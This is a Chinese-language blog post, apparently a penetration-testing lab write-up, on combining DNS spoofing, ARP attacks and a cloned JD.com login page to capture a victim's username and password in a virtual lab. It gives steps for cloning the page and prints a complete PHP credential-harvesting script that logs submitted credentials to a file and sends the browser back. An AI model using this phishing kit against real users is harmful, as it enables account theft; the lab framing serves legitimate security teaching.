DNS欺骗、ARP攻击及钓鱼

killeveee

2022-05-19

内网渗透

DNS欺骗、ARP攻击及钓鱼

实验目的

使用 kali 虚拟机模拟攻击者，采用 DNS 欺骗、 ARP 攻击的方式来对 XP 系统的用户进行攻击，从而获取该用户访问京东的账户和密码，即钓鱼攻击。

平台环境

kali2.0 平台；

安装 XP 系统的虚拟机；

搭建了 DNS 和 IIS 服务的 windows server 2003 虚拟机；

全网互通，即一个局域网下；

构造好的钓鱼网站；

实验步骤

制作钓鱼页面（以京东页面为例）

在浏览器中打开京东的网站，在空白处鼠标右键，然后选择“另存页面为”
然后，在弹出的窗口中，选好保存的位置，对文件名重命名（尽量简写，扩展名为 html），
保存类型为（网页，全部），然后点击保存，
对保存的页面进行修改，用代码编辑器打开 jd.html，然后加入 form 表单，提交方式为 POST，用 input 控件记录用户名和密码，保存并退出，把jd.html改为index.html。
制作重定向页面error.php 来记录获取到的用户名和密码，并写入到1.txt 文件。
以上需要的资料，本实验已经整理好。

error.php：

<?php
$ref = $_SERVER['HTTP_REFERER']; //获取前一页面的 URL 地址
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);   // 转换双引号和单引号
$pas = htmlspecialchars($pas, ENT_QUOTES);   
$content = $today . " -- " . $ref . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
}
?>
<html>
<head>
	<script type="text/javascript">
		function goBack()
		{
			window.history.back()  //后退+刷新
		}
	</script>
</head>
<body onload="goBack()">   <!-- 加载之后立即执行一段 JavaScript -->
</body>
</html>